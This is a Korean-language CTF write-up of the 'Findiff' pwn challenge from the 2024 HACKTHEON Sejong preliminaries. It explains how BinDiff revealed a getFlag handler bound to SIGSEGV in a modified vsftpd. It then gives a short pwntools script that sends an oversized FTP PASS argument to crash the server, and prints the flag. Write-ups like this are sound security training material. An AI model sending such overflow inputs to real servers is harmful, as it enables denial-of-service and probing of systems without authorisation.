2024 HACKTHEON SEJONG Preliminaries) Write-up #1

2024. 5. 16. 02:21CTF

목차

01) PWN) Findiff

02) PWN) Account


2024.04.27

 

약 9시간동안 진행된 CTF

대학생 대회로, Advanced 부문으로 참가하였다.

작년에는 휴학생 신분이라 대회에 참가하지 못했었는데 문제 재사용 등으로 꽤 논란이 있었다고 전해들었다.

일단은 펀문제만 봤지만 펀문제 수준은 좋은 편이었다.

 

PWN은 총 세문제 출제되었는데 나머지 한 문제인 Intelitigation의 경우 팀원이 잡은 문제이므로 위의 두 문제만 정리한다.


PWN) Findiff (729 pts) - 32 solves

Findiff

쉬운 문제임에도 금방 풀지 못했던 문제였다.

간단하게 세그폴트만 발생시키면 되는 문제였는데 diff문제라는 함정에 빠져 뭔가 더 있나라는 생각에 삽질을 더 오래해서 시간을 뺏겼다.

 

diffing은 바이너리 하나인 경우 일반적으로는 bindiff를 설치해서 IDA나 Binary Ninja로 보는게 가장 편했던 것 같다. 파일내에서 코드 여러개를 봐야하는 경우 리눅스 diff명령어를 사용하지만 이 문제의 경우 바이너리 하나만 보면 됐기 때문에 BinDiff를 사용했다.

 

bindiff는 아래 링크의 Releases에서 BinDiff 8 Open Source 파일 다운로드를 통해 어플리케이션을 다운로드할 수 있다.

Mac OS는 dmg파일, 윈도우는 msi파일을 다운로드하면 간편하게 설치할 수 있다.

https://github.com/google/bindiff

 

GitHub - google/bindiff: Quickly find differences and similarities in disassembled code

Quickly find differences and similarities in disassembled code - google/bindiff

github.com

vsft[d vs vvsftpd (BinDiff)

확인 결과 눈에 띄는 차이점은 getFlag함수와 signal함수뿐이었다.

getFlag()
Referenced getFlag() -> init_connection()

 

signal함수의 첫번째 인자 signo(signum)은 간단하게는 리눅스의 kill -l 명령어로, 정확하게는 glibc의 signum-generic.h과 signum-arch.h에서 확인할 수 있다.

11은 가장 많이 사용되는 번호라 보통 외워두는 것 같다. 그래도 한번 확실하게 확인해보고자 glibc 코드단에서 찾아봤다.

kill -l
signum ( signum-generic.h/signum-arch.h)

11에 해당하는 SIGSEGV는 Invalid access to storage. 즉 프로세스가 잘못된 메모리공간에 접근했을 때 발생한다.

시스템해킹에서는 보통 주소를 참조하는 메모리에 엉뚱한 값을 덮으면 발생하는 Signal Segmentation Violation, 세그폴트로도 잘 알려져있다.

 

따라서 문제해결이 크게 어렵지는 않았다.

password입력 때 오버플로우로 세그폴트가 발생하도록했다.

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

s = remote("hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com", 5000)

try:
    s.sendline(b"USER ftp\r\n")
    s.send(b"PASS " + b"B"*0xff0000)
except:
    s.interactive()
s.interactive()
d1ff1ng_1s_b4s1c_0f_b4s1c

 

(캡쳐해둔 이미지와 플래그는 실수로 삭제하여 생략)


Account문제의 라이트업이 쓰다보니 너무 길어져 글 두개로 분리하였다.